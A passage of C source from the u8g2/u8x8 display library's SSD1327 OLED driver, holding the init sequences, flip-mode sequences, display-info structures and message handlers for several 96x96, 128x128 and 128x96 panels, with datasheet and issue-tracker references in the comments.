u8x8_d_ssd1327_winstar_96x64_init_seq);    \n    return 1;\n  }\n  else if  ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n    if ( arg_int == 0 )\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_winstar_96x64_flip0_seq);\n      u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_winstar_96x64_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\n    return 1;\n  }\n  return 0;\n}\n\n\n/*=============================================*/\n/*  Seeedstudio Grove OLED 96x96 */\n\nstatic const u8x8_display_info_t u8x8_ssd1327_96x96_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \t\t/**/\n  /* sda_setup_time_ns = */ 100,\t\t/* */\n  /* sck_pulse_width_ns = */ 100,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 1,\t/* use 1 instead of 4, because the SSD1327 seems to be very slow */\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 60,\t\n  /* tile_width = */ 12,\n  /* tile_height = */ 12,\n  /* default_x_offset = */ 16,\n  /* flipmode_x_offset = */ 16,\t\t\n  /* pixel_width = */ 96,\n  /* pixel_height = */ 96\n};\n\n/*  https://github.com/SeeedDocument/Grove_OLED_1.12/raw/master/resources/LY120-096096.pdf */\n/*  http://www.seeedstudio.com/wiki/index.php?title=Twig_-_OLED_96x96 */\n/* values from u8glib */\n/*\n  Re-map setting in Graphic Display Data RAM, command 0x0a0\n    Bit 0: Column Address Re-map\n    Bit 1: Nibble Re-map\n    Bit 2: Horizontal/Vertical Address Increment\n    Bit 3: Not used, must be 0\n    \n    Bit 4: COM Re-map\n    Bit 5: Not used, must be 0\n    Bit 6: COM Split Odd Even\n    Bit 7: Not used, must be 0\n*/\n\n\nstatic const uint8_t u8x8_d_ssd1327_96x96_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_CA(0x0fd, 0x012),\t\t/* unlock display, usually not required because the display is unlocked after reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  //U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio: 0x03f * 1/64 duty */\n  U8X8_CA(0x0a8, 0x05f),\t\t/* multiplex ratio: 0x05f * 1/64 duty */\n  U8X8_CA(0x0a1, 0x000),\t\t/* display start line */\n  //U8X8_CA(0x0a2, 0x04c),\t\t/* display offset, shift mapping ram counter */\n  \n  U8X8_CA(0x0a2, 0x020),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x051),\t\t/* remap configuration */\n  \n  \n  U8X8_CA(0x0ab, 0x001),\t\t/* Enable internal VDD regulator (RESET) */\n  //U8X8_CA(0x081, 0x070),\t\t/* contrast, brightness, 0..128 */\n  U8X8_CA(0x081, 0x053),\t\t/* contrast, brightness, 0..128 */\n  //U8X8_CA(0x0b1, 0x055),                    /* phase length */\n  U8X8_CA(0x0b1, 0x051),                    /* phase length */  \n  //U8X8_CA(0x0b3, 0x091),\t\t/* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */\t\t\t\n  U8X8_CA(0x0b3, 0x001),\t\t/* set display clock divide ratio/oscillator frequency  */\t\t\t\n  \n  //? U8X8_CA(0x0ad, 0x002),\t\t/* master configuration: disable embedded DC-DC, enable internal VCOMH */\n  //? U8X8_C(0x086),\t\t\t\t/* full current range (0x084, 0x085, 0x086) */\n  \n  U8X8_C(0x0b9),\t\t\t\t/* use linear lookup table */\n\n  //U8X8_CA(0x0bc, 0x010),                    /* pre-charge voltage level */\n  U8X8_CA(0x0bc, 0x008),                    /* pre-charge voltage level */\n  //U8X8_CA(0x0be, 0x01c),                     /* VCOMH voltage */\n  U8X8_CA(0x0be, 0x007),                     /* VCOMH voltage */\n  U8X8_CA(0x0b6, 0x001),\t\t/* second precharge */\n  U8X8_CA(0x0d5, 0x062),\t\t/* enable second precharge, internal vsl (bit0 = 0) */\n\n\n  \n  U8X8_C(0x0a4),\t\t\t\t/* normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\n\nuint8_t u8x8_d_ssd1327_seeed_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n  {\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_96x96_display_info);\n    return 1;\n  }\n  else if ( msg == U8X8_MSG_DISPLAY_INIT )\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_96x96_init_seq);    \n    return 1;\n  }\n  else if  ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n    if ( arg_int == 0 )\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_seeed_96x96_flip0_seq);\n      u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_seeed_96x96_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\n    return 1;\n  }\n  return 0;\n}\n\n/*=============================================*/\n/*  EA W128128 round OLED 128x128 */\n/* issue #641 */\n/* https://www.lcd-module.de/fileadmin/eng/pdf/grafik/W128128-XR.pdf */\n\nstatic const u8x8_display_info_t u8x8_ssd1327_ea_w128128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \t\t/**/\n  /* sda_setup_time_ns = */ 100,\t\t/* */\n  /* sck_pulse_width_ns = */ 100,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 1,\t/* use 1 instead of 4, because the SSD1327 seems to be very slow */\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 60,\t\n  /* tile_width = */ 16,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\t\t\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 128\n};\n\n/* this is a copy of the init sequence for the seeed 96x96 oled */\nstatic const uint8_t u8x8_d_ssd1327_ea_w128128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_CA(0x0fd, 0x012),\t\t/* unlock display, usually not required because the display is unlocked after reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  //U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio: 0x03f * 1/64 duty */\n  U8X8_CA(0x0a8, 0x05f),\t\t/* multiplex ratio: 0x05f * 1/64 duty */\n  U8X8_CA(0x0a1, 0x000),\t\t/* display start line */\n  //U8X8_CA(0x0a2, 0x04c),\t\t/* display offset, shift mapping ram counter */\n  \n  U8X8_CA(0x0a2, 0x010),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x051),\t\t/* remap configuration */\n  \n  \n  U8X8_CA(0x0ab, 0x001),\t\t/* Enable internal VDD regulator (RESET) */\n  //U8X8_CA(0x081, 0x070),\t\t/* contrast, brightness, 0..128 */\n  U8X8_CA(0x081, 0x053),\t\t/* contrast, brightness, 0..128 */\n  //U8X8_CA(0x0b1, 0x055),                    /* phase length */\n  U8X8_CA(0x0b1, 0x051),                    /* phase length */  \n  //U8X8_CA(0x0b3, 0x091),\t\t/* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */\t\t\t\n  U8X8_CA(0x0b3, 0x001),\t\t/* set display clock divide ratio/oscillator frequency  */\t\t\t\n  \n  //? U8X8_CA(0x0ad, 0x002),\t\t/* master configuration: disable embedded DC-DC, enable internal VCOMH */\n  //? U8X8_C(0x086),\t\t\t\t/* full current range (0x084, 0x085, 0x086) */\n  \n  U8X8_C(0x0b9),\t\t\t\t/* use linear lookup table */\n\n  //U8X8_CA(0x0bc, 0x010),                    /* pre-charge voltage level */\n  U8X8_CA(0x0bc, 0x008),                    /* pre-charge voltage level */\n  //U8X8_CA(0x0be, 0x01c),                     /* VCOMH voltage */\n  U8X8_CA(0x0be, 0x007),                     /* VCOMH voltage */\n  U8X8_CA(0x0b6, 0x001),\t\t/* second precharge */\n  U8X8_CA(0x0d5, 0x062),\t\t/* enable second precharge, internal vsl (bit0 = 0) */\n  \n  U8X8_C(0x0a4),\t\t\t\t/* normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\nstatic const uint8_t u8x8_d_ssd1327_ea_w128128_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a2, 0x000),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x051),\t\t/* remap configuration */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1327_ea_w128128_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a2, 0x000),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x042),\t\t/* remap configuration */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_ssd1327_ea_w128128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n  {\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_ea_w128128_display_info);\n    return 1;\n  }\n  else if ( msg == U8X8_MSG_DISPLAY_INIT )\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_ea_w128128_init_seq);    \n    return 1;\n  }\n  else if  ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n    if ( arg_int == 0 )\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_ea_w128128_flip0_seq);\n      u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_ea_w128128_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\n    return 1;\n  }\n  return 0;\n}\n\n/*=============================================*/\n/*  MIDAS MCOT128128C1V-YM 128x128 Module */\n\n\nstatic const u8x8_display_info_t u8x8_ssd1327_128x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \t\t/**/\n  /* sda_setup_time_ns = */ 100,\t\t/* */\n  /* sck_pulse_width_ns = */ 100,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 1,\t/* use 1 instead of 4, because the SSD1327 seems to be very slow, Update 9 Aug 2019: The OLED from aliexpress supports 400kHz */\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 60,\t\n  /* tile_width = */ 16,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\t\t\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 128\n};\n\n/*  https://github.com/SeeedDocument/Grove_OLED_1.12/raw/master/resources/LY120-096096.pdf */\n/*  http://www.seeedstudio.com/wiki/index.php?title=Twig_-_OLED_96x96 */\n/* values from u8glib */\n/*\n  Re-map setting in Graphic Display Data RAM, command 0x0a0\n    Bit 0: Column Address Re-map\n    Bit 1: Nibble Re-map\n    Bit 2: Horizontal/Vertical Address Increment\n    Bit 3: Not used, must be 0\n    \n    Bit 4: COM Re-map\n    Bit 5: Not used, must be 0\n    Bit 6: COM Split Odd Even\n    Bit 7: Not used, must be 0\n*/\n\n\nstatic const uint8_t u8x8_d_ssd1327_128x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n\t\n  U8X8_CA(0x0fd, 0x012),\t\t/* unlock display, usually not required because the display is unlocked after reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  //U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio: 0x03f * 1/64 duty */\n  //U8X8_CA(0x0a8, 0x05f),\t\t/* multiplex ratio: 0x05f * 1/64 duty */\n  U8X8_CA(0x0a8, 0x07f),       \t\t /* multiplex ratio: 0x05f * 1/128duty */\n  U8X8_CA(0x0a1, 0x000),\t\t/* display start line */\n  //U8X8_CA(0x0a2, 0x04c),\t\t/* display offset, shift mapping ram counter */\n  \n  U8X8_CA(0x0a2, 0x000),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x051),\t\t/* remap configuration */\n  \n  \n  U8X8_CA(0x0ab, 0x001),\t\t/* Enable internal VDD regulator (RESET) */\n  //U8X8_CA(0x081, 0x070),\t\t/* contrast, brightness, 0..128 */\n  U8X8_CA(0x081, 0x053),\t\t/* contrast, brightness, 0..128 */\n  //U8X8_CA(0x0b1, 0x055),                    /* phase length */\n  U8X8_CA(0x0b1, 0x051),                    /* phase length */  \n  //U8X8_CA(0x0b3, 0x091),\t\t/* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */\t\t\t\n  U8X8_CA(0x0b3, 0x001),\t\t/* set display clock divide ratio/oscillator frequency  */\t\t\t\n  \n  //? U8X8_CA(0x0ad, 0x002),\t\t/* master configuration: disable embedded DC-DC, enable internal VCOMH */\n  //? U8X8_C(0x086),\t\t\t\t/* full current range (0x084, 0x085, 0x086) */\n  \n  U8X8_C(0x0b9),\t\t\t\t/* use linear lookup table */\n\n  //U8X8_CA(0x0bc, 0x010),                    /* pre-charge voltage level */\n  U8X8_CA(0x0bc, 0x008),                    /* pre-charge voltage level */\n  //U8X8_CA(0x0be, 0x01c),                     /* VCOMH voltage */\n  U8X8_CA(0x0be, 0x007),                     /* VCOMH voltage */\n  U8X8_CA(0x0b6, 0x001),\t\t/* second precharge */\n  U8X8_CA(0x0d5, 0x062),\t\t/* enable second precharge, internal vsl (bit0 = 0) */\n\n\n  \n  U8X8_C(0x0a4),\t\t\t\t/* normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const uint8_t u8x8_d_ssd1327_128x128_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a2, 0x000),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x051),\t\t/* remap configuration */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1327_128x128_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a2, 0x000),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x042),\t\t/* remap configuration */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_ssd1327_midas_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call the 96x96 procedure at the moment */\n  if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n  {\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_128x128_display_info);\n    return 1;\n  }\n  else if ( msg == U8X8_MSG_DISPLAY_INIT )\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x128_init_seq); \n    return 1;\n  }\n  else if  ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n    if ( arg_int == 0 )\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x128_flip0_seq);\n      u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x128_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\n    return 1;\n  }\n  return 0;\n}\n\n/*=============================================*/\n/*\n\n  ZJY-M150 128x128 \n\n  https://aliexpress.com/item/1005003784174529.html\n  https://github.com/olikraus/u8g2/issues/1960\n\n  Mostly like the MIDAS version, but requires the GPIO enabled.\n\n*/\n\nstatic const uint8_t u8x8_d_ssd1327_zjy_128x128_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n\t\n  U8X8_CA(0x0fd, 0x012),\t\t/* unlock display, usually not required because the display is unlocked after reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  //U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio: 0x03f * 1/64 duty */\n  //U8X8_CA(0x0a8, 0x05f),\t\t/* multiplex ratio: 0x05f * 1/64 duty */\n  U8X8_CA(0x0a8, 0x07f),       \t\t /* multiplex ratio: 0x05f * 1/128duty */\n  U8X8_CA(0x0a1, 0x000),\t\t/* display start line */\n  //U8X8_CA(0x0a2, 0x04c),\t\t/* display offset, shift mapping ram counter */\n  \n  U8X8_CA(0x0a2, 0x000),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x051),\t\t/* remap configuration */\n  \n  \n  U8X8_CA(0x0ab, 0x001),\t\t/* Enable internal VDD regulator (RESET) */\n  //U8X8_CA(0x081, 0x070),\t\t/* contrast, brightness, 0..128 */\n  U8X8_CA(0x081, 0x053),\t\t/* contrast, brightness, 0..128 */\n  //U8X8_CA(0x0b1, 0x055),                    /* phase length */\n  U8X8_CA(0x0b1, 0x051),                    /* phase length */  \n  //U8X8_CA(0x0b3, 0x091),\t\t/* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */\t\t\t\n  U8X8_CA(0x0b3, 0x001),\t\t/* set display clock divide ratio/oscillator frequency  */\t\t\t\n  \n  //? U8X8_CA(0x0ad, 0x002),\t\t/* master configuration: disable embedded DC-DC, enable internal VCOMH */\n  //? U8X8_C(0x086),\t\t\t\t/* full current range (0x084, 0x085, 0x086) */\n  \n  U8X8_C(0x0b9),\t\t\t\t/* use linear lookup table */\n\n  //U8X8_CA(0x0bc, 0x010),                    /* pre-charge voltage level */\n  U8X8_CA(0x0bc, 0x008),                    /* pre-charge voltage level */\n  //U8X8_CA(0x0be, 0x01c),                     /* VCOMH voltage */\n  U8X8_CA(0x0be, 0x007),                     /* VCOMH voltage */\n  \n  U8X8_CA(0x0b6, 0x001),\t\t/* second precharge */\n  U8X8_CA(0x0d5, 0x062),\t\t/* enable second precharge, internal vsl (bit0 = 0) */\n  \n  U8X8_CA(0x0b5, 0x003),\t\t/* Enable GPIO, issue 1960 */\n  \n  \n  U8X8_C(0x0a4),\t\t\t\t/* normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_ssd1327_zjy_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call the 96x96 procedure at the moment */\n  if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n  {\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_128x128_display_info);\n    return 1;\n  }\n  else if ( msg == U8X8_MSG_DISPLAY_INIT )\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_zjy_128x128_init_seq); \n    return 1;\n  }\n  else if  ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n    if ( arg_int == 0 )\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x128_flip0_seq);\n      u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x128_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\n    return 1;\n  }\n  return 0;\n}\n\n/*=============================================*/\n/*  \n  Waveshare 128x128 Module \n  https://www.waveshare.com/w/upload/8/80/1.5inch_OLED_Module_User_Manual_EN.pdf\n  https://github.com/olikraus/u8g2/issues/880\n\n  This is mostly a takeover of the EA display.\n*/\n\n/*  https://github.com/SeeedDocument/Grove_OLED_1.12/raw/master/resources/LY120-096096.pdf */\n/*  http://www.seeedstudio.com/wiki/index.php?title=Twig_-_OLED_96x96 */\n/* values from u8glib */\n/*\n  Re-map setting in Graphic Display Data RAM, command 0x0a0\n    Bit 0: Column Address Re-map\n    Bit 1: Nibble Re-map\n    Bit 2: Horizontal/Vertical Address Increment\n    Bit 3: Not used, must be 0\n    \n    Bit 4: COM Re-map\n    Bit 5: Not used, must be 0\n    Bit 6: COM Split Odd Even\n    Bit 7: Not used, must be 0\n*/\n\n/* takeover from https://github.com/olikraus/u8g2/issues/880 */\nstatic const uint8_t u8x8_d_ssd1327_ws_128x128_init_seq[] = {\n    \n    U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n    U8X8_C(0x0ae), //--turn off oled panel\n    U8X8_CAA(0x015, 0x000, 0x07f),    //set column address, start column 0, end column 127\n    U8X8_CAA(0x075, 0x000, 0x07f),    //set row address, start row 0, end row 127\n    U8X8_CA(0x081, 0x080),    //set contrast control\n    U8X8_CA(0x0a0, 0x051),    //gment remap, 51\n    U8X8_CA(0x0a1, 0x000),    //start line\n    U8X8_CA(0x0a2, 0x000),    //display offset\n    U8X8_CAA(0x0a4, 0x0a8, 0x07f),    //rmal display, set multiplex ratio\n    U8X8_CA(0x0b1, 0x0f1),    //set phase leghth\n    U8X8_CA(0x0b3, 0x000),    //set dclk, 80Hz:0xc1 90Hz:0xe1   100Hz:0x00   110Hz:0x30 120Hz:0x50   130Hz:0x70     01\n    U8X8_CA(0x0ab, 0x001),    //\n    U8X8_CA(0x0b6, 0x00f),    //set phase leghth\n    U8X8_CA(0x0be, 0x00f),\n    U8X8_CA(0x0bc, 0x008),\n    U8X8_CA(0x0d5, 0x062),\n    U8X8_CA(0x0fd, 0x012),\n\n    U8X8_END_TRANSFER(),             \t/* disable chip */\n    U8X8_END()             \t\t\t/* end of sequence */\n  };\n\n\nuint8_t u8x8_d_ssd1327_ws_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call the 96x96 procedure at the moment */\n  if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n  {\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_ea_w128128_display_info);\n    return 1;\n  }\n  else if ( msg == U8X8_MSG_DISPLAY_INIT )\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_ws_128x128_init_seq); \n    return 1;\n  }\n  else if  ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n    if ( arg_int == 0 )\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_ea_w128128_flip0_seq);\n      u8x8->x_offset = u8x8->display_info->default_x_offset;\n    }\n    else\n    {\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_ea_w128128_flip1_seq);\n      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n    }\n    return 1;\n  }\n  return 0;\n}\n\n\n\n\n/*=============================================*/\n/*  \nVisonox VGM128096A4W10 128x96 COB \nhttps://github.com/olikraus/u8g2/files/4052919/M02289_VGM128096A4W10_Y02.pdf\nhttps://github.com/olikraus/u8g2/issues/1090\n*/\n\n\nstatic const u8x8_display_info_t u8x8_ssd1327_128x96_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \t\t/**/\n  /* sda_setup_time_ns = */ 100,\t\t/* */\n  /* sck_pulse_width_ns = */ 100,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 1,\t/* use 1 instead of 4, because the SSD1327 seems to be very slow, Update 9 Aug 2019: The OLED from aliexpress supports 400kHz */\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 60,\t\n  /* tile_width = */ 16,\n  /* tile_height = */ 12,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\t\t\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 96\n};\n\n/*  https://github.com/SeeedDocument/Grove_OLED_1.12/raw/master/resources/LY120-096096.pdf */\n/*  http://www.seeedstudio.com/wiki/index.php?title=Twig_-_OLED_96x96 */\n/* values from u8glib */\n/*\n  Re-map setting in Graphic Display Data RAM, command 0x0a0\n    Bit 0: Column Address Re-map\n    Bit 1: Nibble Re-map\n    Bit 2: Horizontal/Vertical Address Increment\n    Bit 3: Not used, must be 0\n    \n    Bit 4: COM Re-map\n    Bit 5: Not used, must be 0\n    Bit 6: COM Split Odd Even\n    Bit 7: Not used, must be 0\n*/\n\n/* init values from the Visionox datasheeet section 10.4 */\n\nstatic const uint8_t u8x8_d_ssd1327_128x96_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n\t\n  U8X8_CA(0x0fd, 0x012),\t\t/* unlock display, usually not required because the display is unlocked after reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  //U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio: 0x03f * 1/64 duty */\n  U8X8_CA(0x0a8, 0x05f),\t\t/* multiplex ratio: 0x05f * 1/64 duty */\n  //U8X8_CA(0x0a8, 0x07f),       \t\t /* multiplex ratio: 0x05f * 1/128duty */\n  U8X8_CA(0x0a1, 0x000),\t\t/* display start line */\n  //U8X8_CA(0x0a2, 0x04c),\t\t/* display offset, shift mapping ram counter */\n  \n  U8X8_CA(0x0a2, 0x020),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x051),\t\t/* remap configuration */\n  \n  \n  U8X8_CA(0x0ab, 0x001),\t\t/* Enable internal VDD regulator (RESET) */\n  //U8X8_CA(0x081, 0x070),\t\t/* contrast, brightness, 0..128 */\n  U8X8_CA(0x081, 0x0df),\t\t/* contrast, brightness, 0..128 (0xdf as per datasheet) */\n  U8X8_CA(0x0b1, 0x022),                    /* phase length */  \n  U8X8_CA(0x0b3, 0x050),\t\t/* set display clock divide ratio/oscillator frequency  */\t\t\t\n  \n  //? U8X8_CA(0x0ad, 0x002),\t\t/* master configuration: disable embedded DC-DC, enable internal VCOMH */\n  //? U8X8_C(0x086),\t\t\t\t/* full current range (0x084, 0x085, 0x086) */\n  \n  U8X8_C(0x0b9),\t\t\t\t/* use linear lookup table */\n\n  U8X8_CA(0x0bc, 0x010),                    /* pre-charge voltage level */\n  U8X8_CA(0x0be, 0x005),                     /* VCOMH voltage */\n  U8X8_CA(0x0b6, 0x00a),\t\t/* second precharge */\n  U8X8_CA(0x0d5, 0x062),\t\t/* enable second precharge, internal vsl (bit0 = 0) */\n\n\n  \n  U8X8_C(0x0a4),\t\t\t\t/* normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const uint8_t u8x8_d_ssd1327_128x96_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* 